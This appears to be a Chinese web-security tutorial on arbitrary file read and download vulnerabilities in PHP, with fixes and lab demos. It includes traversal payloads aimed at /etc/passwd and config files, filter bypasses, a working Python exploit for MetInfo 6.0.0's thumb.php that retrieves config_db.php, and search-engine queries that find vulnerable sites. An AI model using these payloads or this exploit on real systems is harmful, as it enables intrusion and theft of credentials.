任意文件读取和漏洞复现
任意文件读取
1. 概述
一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是漂代码文件,配置文件,敏感文件等等。
- 任意文件读取会造成(敏感)信息泄露:
- 任意文件读取大多数情况是由于其他漏洞引发的,如RCE、目录遍历、文件包含等。
- 任意文件读取与任意文件下载本质上没有区别,信总都是从服务瑞流向浏览器的。
任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。
1.1 漏洞成因
不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的:
- 存在读取文件的功能(函数),也就是说,Web 应用开放了文件读取功能;
- 读取文件的路径客户端可控,完全控制或影响文件路径参数;
- 没有对文件路径进行校验或者校验不严导致校验被绕过;
- 输出了文件的内容。
1.2 漏洞危害
下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。
可以配合其他漏洞,构成完整攻击链。对源代码文件进行代码审计,查找更多的漏洞。任意文件读取与下载重点关注的文件:
- 源代码
- 配置文件
- 敏感文件
- 日志文件
- …
1.3 漏洞分类
- 任意文件读取
- 任意文件下载
1.4 任意文件读取
1.4.1 文件读取
| 读取文件的函数 | 函数特点 |
|---|---|
| readfile() | 直接读取文件内容 自带输出功能 |
| file_get_contents() | 直接读取文件内容 需要输出读取内容 |
| fread() | 打开文件 计算文件大小 读取文件 输出文件 关闭文件 |
readfile:
// readfile.php$fp = "../phpinfo.php"; //路径,phpinfo.php文件的路径
readfile($fp); //读取这个路径下的文件
在phpstudy根目录下新建read_file文件夹,在文件夹中新建file_read.php文件。
文件内容为上述代码内容,保存成功后访问此文件。
http://192.168.16.136/read_file/file_read.php
访问结果为空白页。查看代码,发现读取到$fp路径下文件的内容,但是没有执行。


file_get_contents:
// file_get_contents.php$fp = "../phpinfo.php";
echo file_get_contents($fp);
在read_file文件夹中新建file_get_contents.php文件。
文件内容为上述代码内容,保存成功后访问此文件。
http://192.168.16.136/read_file/file_get_contents.php
访问结果为空白页。查看代码,发现读取到$fp路径下文件的内容,但是没有执行。


fread:
// fread.php$fp = "../phpinfo.php";$f = fopen($fp,'r'); //读取文件前,先把$fp中保存的路径中的文件打开
$f_size = filesize($fp); //计算$fp这个路径下文件大小
echo fread($f, $f_size); //从打开的$f这个文件按照一定的大小去读
fclose($f); //读取完成后,关闭文件,否则浪费资源
在read_file文件夹中新建fread.php文件。
文件内容为上述代码内容,保存成功后访问此文件。
http://192.168.16.136/read_file/fread.php
访问结果为空白页。查看代码,发现读取到$fp路径下文件的内容,但是没有执行。


1.4.2 任意文件读取
变量$fp,会捕获GET 方式传递过来的filepath 参数。
$fp = @$_GET['filepath'];
<?php
//$fp = "../phpinfo.php"; //路径,phpinfo.php文件的路径
$fp = @$_GET['filepath']; //通过filepath这个参数传递数据给$fp
readfile($fp); //读取这个路径下的文件
?>
访问页面结果报错了,因为filepath参数为空,给filepath参数赋值filepath=…/phpinfo.php

发开F12,点击load输入参数,viwe-source:表示其后所跟的url以代码的方式显现
view-source:http://192.168.16.136/read_file/file_read.php?filepath=../phpinfo.php

filepath 客户端可控,并且没有经过校验,会造成任意文件读取漏洞。
?filepath=index.php ?filepath=/etc/passwd?filepath=c:\windows\system32\drivers\etc\hosts?filepath=c:\phpstudy_2016\apache\conf\httpd.conf ?filepath=c:\phpstudy_2016\mysql\my.ini?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php ?filePath=../../../../../../../../windows\system32\drivers\etc\hosts?filePath=../../../../../../etc/hosts
1.4.3 一般情况下权限

Windows + IIS + ASP/ASPX 低权限
Windows + Apache +PHP 高权限
Windows + Java 绝对是高权限
Linux + Apache + PHP 低权限
Linux + Nginx + PHP 不一定(可能高可能低)
Linux + Java 绝对是高权限
1.5 任意文件下载
1.5.1 一般情况
直接下载:例如图片另存为。
a 标签下载:
<a href = './a.jpg'>IMG Download</a>
1.5.2 PHP实现
PHP 文件下载实现过程:
-
先读取文件
-
在输出文件
-
提供下载
// file-download.php$fp = './a.jpg';
header('Content-Type:image/jpg');
header('Content-Disposition:attachment;fileName='.basename($fp));
readfile($fp);
1.5.3 任意文件下载
任意文件下载的条件:
-
已知目标文件路径
-
目标文件路径,客户端可控
-
没有经过校验或校验不严格
$fp = $_GET['filepath'];
2. 任意文件读取攻防
2.1 路径过滤
2.1.1 过滤…/
$fp = @$_GET['filepath'];
$fp = str_replace("../","",$fp);
readfile($fp);
<?php
//$fp = "../phpinfo.php"; //路径,phpinfo.php文件的路径
$fp = @$_GET['filepath'];
$fp = str_replace("../","",$fp); //将../替换为空
readfile($fp); //读取这个路径下的文件
?>
访问
view-source:http://192.168.16.136/read_file/file_read.php?filepath=....//phpinfo.php

结果报错了。
2.2 简单绕过
2.2.1 双写绕过
?filepath=..././..././..././..././..././windows\system32\drivers\etc\hosts

2.2.2 绝对路径
?filepath=c:/windows\system32\drivers\etc\hosts

2.2.3 使用…\
?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts

2.2.4 设置白名单
假如设置了a.php,b.php,c.php三个文件
<?php
//$fp = "../phpinfo.php"; //路径,phpinfo.php文件的路径
$fp = @$_GET['filepath'];
if($fp == 'a.php' or $fp == 'b.php' or $fp == 'c.php')
{readfile($fp);
}
else
{echo "Please stop!";
}
?>


3. 任意文件读取挖掘
3.1 手工挖掘
| 从文件名上看 | 从参数名上看 |
|---|---|
| readfile.php filedownload.php filelist.php | f= file= filepath= fp= readfile path= readpath url= menu= META-INF= WEB-INF= content= |
上述内容都可能存在任意文件读取
3.2 经典案例
metinfo_6.0.0_file-read
3.2.1 漏洞描述
MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 版本中的/app/system/include/module/old_thumb.class.php 文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。
3.2.2 漏洞等级
高危
3.2.3 影响版本
- MetInfo 6.0.0
3.2.4 漏洞复现
3.2.4.1 基础环境
| 组件 | 版本 |
|---|---|
| OS | Microsoft Windows Server 2016 Standard |
| Web Server | phpStudy 2016 |
| MetInfo | 6.0.0 |

3.2.4.2 漏洞点
访问此链接
/include/thumb.php
http://192.168.16.136/metinfo_6.0.0/include/thumb.php

使用bp进行抓包,因为bp默认是不抓图片的,修改Filter添加images。

Ctrl+R将数据包发送至重发器。

第一次测试
/include/thumb.php?dir=..././http/..././config/config_db.php
读取数据库配置文件。

读取失败。
第二次测试
/include/thumb.php?dir=.....///http/.....///config/config_db.php
读取数据库配置文件。

读取失败
第三次测试
/include/thumb.php?dir=http/.....///.....///config/config_db.php
读取数据库配置文件。

读取失败
第四次测试
/include/thumb.php?dir=http\..\..\config\config_db.php
读取数据库配置文件。

读取成功
注意:
此poc仅适用于Windows系统,Linux系统无效
3.2.4.3 深度利用
EXP 编写
import requests
import sysbanner = """
MetInfo 6.0.0___________.__.__ __________ .___\_ _____/|__| | ____ \______ \ ____ _____ __| _/| __) | | | _/ __ \ | _// __ \\__ \ / __ | | \ | | |_\ ___/ | | \ ___/ / __ \_/ /_/ | \___ / |__|____/\___ > |____|_ /\___ >____ /\____ | \/ \/ \/ \/ \/ \/ - AJEST
Usage: python3 *.py http://192.168.16.136/metinfo_6.0.0
"""headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}dir_list = ["..././http/..././config/config_db.php",".....///http/.....///config/config_db.php","http/.....///.....///config/config_db.php","http\..\..\config\config_db.php"
]def attack(host):vul = "/include/thumb.php"url = host + vulres = requests.get(url = url, headers = headers)if res.status_code != 200:print(f"[INFO] {vul} is Not Exists!")exit()print(f"[INFO] {vul} is Exists!")for param in dir_list:params = {"dir": param }res = requests.get(url = url, params = params, headers = headers)print(f"[INFO] Test URL: {res.url}")if "<?php" in res.text:print("[RESULT] The target is vulnreable!")print(f"[RESULT]\n{res.text}")breakif len(sys.argv) < 2:print(banner)exit()host = sys.argv[1]attack(host = host)
在kali中新建exp.py文件,将上述内容复制到exp.py文件中,在cms未退出的情况下运行exp.py文件。
sudo python3 *.py http://192.168.16.136/metinfo_6.0.0/

3.2.4.4 指纹信息
传统搜索引擎
Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"
FOFA
app="metinfo"
ZoomEye
app:"MetInfo"
app:"MetInfo"+os:"Windows"
3.2.4.5 修补建议
- 打补丁
- 升级
- 上设备
4. 漏洞修复方案
4.1 输入输出
让web 用户只能访问(读取),所需要的文件和路径。(白名单)
4.2 避免其他漏洞
其他漏洞可能会引发任意文件读取漏洞
不能有文件包含漏洞,目录遍历漏洞或其他漏洞。
4.3 限定文件的访问范围
-
让用户不能访问Web 根目录以外的路径。
-
php.ini 配置文件中,可以通过选项open_basedir 来限定文件访问的范围
open_basedir = C:\phpStudy_20161103\WWW
php在执行任意文件读取的时候,限定访问范围发生在c盘下。
临时改变php.ini配置
ini_set("open_basedir","C:\phpStudy_20161103\WWW");

但是还是存在风险,其他文件都不成,但能读取自己。那么配置的所有信息就会暴露出来。

所以过滤,白名单和限定文件的防范要综合使用。
5. 参考链接
https://github.com/lijiejie/ds_store_exp https://blog.csdn.net/GitChat/article/details/79014538 https://www.secpulse.com/archives/124398.html https://github.com/kost/dvcs-ripper https://github.com/lijiejie/GitHack http://www.vuln.cn/2225 https://github.com/admintony/svnExploit https://www.freebuf.com/vuls/181698.html
临时改变php.ini配置
ini_set("open_basedir","C:\phpStudy_20161103\WWW");

但是还是存在风险,其他文件都不成,但能读取自己。那么配置的所有信息就会暴露出来。

所以过滤,白名单和限定文件的防范要综合使用。
5. 参考链接
https://github.com/lijiejie/ds_store_exp https://blog.csdn.net/GitChat/article/details/79014538 https://www.secpulse.com/archives/124398.html https://github.com/kost/dvcs-ripper https://github.com/lijiejie/GitHack http://www.vuln.cn/2225 https://github.com/admintony/svnExploit https://www.freebuf.com/vuls/181698.html
相关文章:
任意文件读取和漏洞复现
任意文件读取 1. 概述 一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是漂代码文件,配置文件,敏感文件等等。 任意文件读取会造成&…...
编译KArchive在windows10下
使用QT6和VS2019编译KArchive的简要步骤: 安装 Qt ,我是用源码自己编译的 "F:\qtbuild"安装CMakefile并配置环境变量安装Git下载ECM源码 https://github.com/KDE/extra-cmake-modules.git-------------------------------------------------…...
【Python】批量下载页面资源
【背景】 有一些非常不错的资源网站,比如一些MP3资源网站。资源很丰富,但是每一个资源都不大,一个一个下载费时费力,想用Python快速实现可复用的批量下载程序。 【思路】 获得包含资源链接的静态页面,用beautifulsoup分析页面,获得所有MP3资源的实际地址,然后下载。…...
Windows NUMA编程实践 – 处理器组、组亲和性、处理器亲和性及版本变化
Windows在设计之初没有考虑过对大数量的多CPU和NUMA架构的设备的支持,大部分关于CPU的设计按照64个为上限来设计。核心数越来越多的多核处理器的进入市场使得微软不得不做较大的改动来进行支持,因此Windows 的进程、线程和NUMA API在各个版本中行为不一样…...
MATLAB中编译器中的变量联系到Simulink
MATLAB中编译器中的变量联系到Simulink 现在编译器中创建变量,进行编译,使其生成在工作区。 然后在Simulink中国使用变量即可。...
开展自动化方案时,需要考虑哪些内容,开展实施前需要做哪些准备呢?
在开展软件自动化测试方案时,需要考虑以下方面: 选择合适的自动化测试工具:根据项目的需求和技术栈选择适合的自动化测试工具,如Selenium、Appium、Jenkins等。确定自动化测试范围:明确需要自动化的功能模块和业务场景…...
进程、线程、内存管理
目录 进程和线程区别 进程和线程切换的区别 系统调用流程 系统调用是否会引起线程切换 为什么需要使用虚拟内存 进程和线程区别 本质区别: 进程是资源分配的基本单元。 线程是操作系统调度的基本单元。 地址空间: 进程具有独立的虚拟地址空间。 线程…...
设计模式系列-创建者模式
一、上篇回顾 上篇我们主要讲述了抽象工厂模式和工厂模式。并且分析了该模式的应用场景和一些优缺点,并且给出了一些实现的思路和方案,我们现在来回顾一下: 抽象工厂模式:一个工厂负责所有类型对象的创建,支持无缝的新增新的类型对…...
加工生产调度
题目描述 某工厂收到了 n 个产品的订单,这 n 个产品分别在 A、B 两个车间加工,并且必须先在 A 车间加工后才可以到 B 车间加工。 某个产品 在 A,B 两车间加工的时间分别为 。怎样安排这 n 个产品的加工顺序,才能使总的加工时间…...
Hadoop 集群小文件归档 HAR、小文件优化 Uber 模式
文章目录 小文件归档 HAR小文件优化 Uber 模式 小文件归档 HAR 小文件归档是指将大量小文件合并成较大的文件,从而减少存储开销、元数据管理的开销以及处理时的任务调度开销。 这里我们通过 Hadoop Archive (HAR) 来进行实现,它是一种归档格式…...
Android OkHttp源码阅读详解一
博主前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住也分享一下给大家 👉点击跳转到教程 前言:源码阅读基于okhttp:3.10.0 Android中OkHttp源码阅读二(责任链模式) implementation com.squareup.o…...
UG\NX CAM二次开发 查询工序所在的方法组TAG UF_OPER_ask_method_group
文章作者:代工 来源网站:NX CAM二次开发专栏 简介: UG\NX CAM二次开发 查询工序所在的方法组TAG UF_OPER_ask_method_group 效果: 代码: void MyClass::do_it() { int count=0;tag_t * objects;UF_UI_ONT_ask_selected_nodes(&count, &objects);for (i…...
npm获取函数名称和测试js脚本
这边遇到一个类似于测试的需求,需要从一个js文件里获取函数名,然后尝试执行这些函数和创建实例。这边首先遇到了一个问题是如何动态获取js里的函数名和类名,我这边暂时没找到特别好的方法,已有的方法都是类似于提取语法树那种提取…...
ISO/IEC/ITU标准如何快速查找(三十九)
简介: CSDN博客专家,专注Android/Linux系统,分享多mic语音方案、音视频、编解码等技术,与大家一起成长! 优质专栏:Audio工程师进阶系列【原创干货持续更新中……】🚀 人生格言: 人生从来没有捷径,只有行动才是治疗恐惧和懒惰的唯一良药. 更多原创,欢迎关注:Android…...
git私房菜
文章目录 1、公司项目开发Git协作流程2、合并相关的操作3、Git常用命令总结 公司中如何使用Git协同开发的?本文将具体介绍开发模式,以及一些常用命令。 1、公司项目开发Git协作流程 公司一个完整的项目出来,项目的推进是在主分支master上进行…...
docker安装grafana,prometheus,exporter以及springboot整合详细教程(GPE)
springboot项目ip:192.168.168.1 测试服务器ip:192.168.168.81 文章来自互联网,自己略微整理下,更容易上手,方便自己,方便大家 最终效果: node springboot 1.下载镜像 docker pull prom/node-exporter docker pull prom/mysqld-exporter docker pull google/cadvisor dock…...
cka/ckad应试指南 从docker到kubernetes完全攻略
《cka/ckad应试指南 从docker到kubernetes完全攻略》 段超飞 docker 1-安装并配置docker,yum源,docker下载慢 2-基本命令:镜像管理,基本命令,创建容器 3-网络,存储卷,镜像仓库, 4-do…...
js中如何使用可选函数参数
js是网络的核心技术之一。大多数网站都使用它,并且所有现代网络浏览器都支持它,而不需要插件。在本文中,我们将讨论不同的提示和技巧,它们将帮助您进行日常 JavaScript 开发。 在 JavaScript 编码中,您经常需要将函数…...
基于Open3D的点云处理17-Open3d的C++版本
参考: http://www.open3d.org/docs/latest/cpp_api.htmlhttp://www.open3d.org/docs/latest/getting_started.html#chttp://www.open3d.org/docs/release/cpp_project.html#cplusplus-example-projecthttps://github.com/isl-org/open3d-cmake-find-packagehttps:/…...
GIT相关内容总结
Git相关内容总结 Git的功能Git常见命令 Git的功能 Git是版本控制工具。版本控制就是记录你对文件做的所有改动的一个系统,包括改动的内容,改动的时间,改动的备注等,便于你恢复特定的版本。 版本控制系统分为本地版本控制系统&…...
多模态2025:技术路线“神仙打架”,视频生成冲上云霄
文|魏琳华 编|王一粟 一场大会,聚集了中国多模态大模型的“半壁江山”。 智源大会2025为期两天的论坛中,汇集了学界、创业公司和大厂等三方的热门选手,关于多模态的集中讨论达到了前所未有的热度。其中,…...
智慧工地云平台源码,基于微服务架构+Java+Spring Cloud +UniApp +MySql
智慧工地管理云平台系统,智慧工地全套源码,java版智慧工地源码,支持PC端、大屏端、移动端。 智慧工地聚焦建筑行业的市场需求,提供“平台网络终端”的整体解决方案,提供劳务管理、视频管理、智能监测、绿色施工、安全管…...
QMC5883L的驱动
简介 本篇文章的代码已经上传到了github上面,开源代码 作为一个电子罗盘模块,我们可以通过I2C从中获取偏航角yaw,相对于六轴陀螺仪的yaw,qmc5883l几乎不会零飘并且成本较低。 参考资料 QMC5883L磁场传感器驱动 QMC5883L磁力计…...
Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件
今天呢,博主的学习进度也是步入了Java Mybatis 框架,目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学,希望能对大家有所帮助,也特别欢迎大家指点不足之处,小生很乐意接受正确的建议&…...
DAY 47
三、通道注意力 3.1 通道注意力的定义 # 新增:通道注意力模块(SE模块) class ChannelAttention(nn.Module):"""通道注意力模块(Squeeze-and-Excitation)"""def __init__(self, in_channels, reduction_rat…...
关于iview组件中使用 table , 绑定序号分页后序号从1开始的解决方案
问题描述:iview使用table 中type: "index",分页之后 ,索引还是从1开始,试过绑定后台返回数据的id, 这种方法可行,就是后台返回数据的每个页面id都不完全是按照从1开始的升序,因此百度了下,找到了…...
macOS多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用
文章目录 问题现象问题原因解决办法 问题现象 macOS启动台(Launchpad)多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用。 问题原因 很明显,都是Google家的办公全家桶。这些应用并不是通过独立安装的…...
【android bluetooth 框架分析 04】【bt-framework 层详解 1】【BluetoothProperties介绍】
1. BluetoothProperties介绍 libsysprop/srcs/android/sysprop/BluetoothProperties.sysprop BluetoothProperties.sysprop 是 Android AOSP 中的一种 系统属性定义文件(System Property Definition File),用于声明和管理 Bluetooth 模块相…...
深入解析C++中的extern关键字:跨文件共享变量与函数的终极指南
🚀 C extern 关键字深度解析:跨文件编程的终极指南 📅 更新时间:2025年6月5日 🏷️ 标签:C | extern关键字 | 多文件编程 | 链接与声明 | 现代C 文章目录 前言🔥一、extern 是什么?&…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...
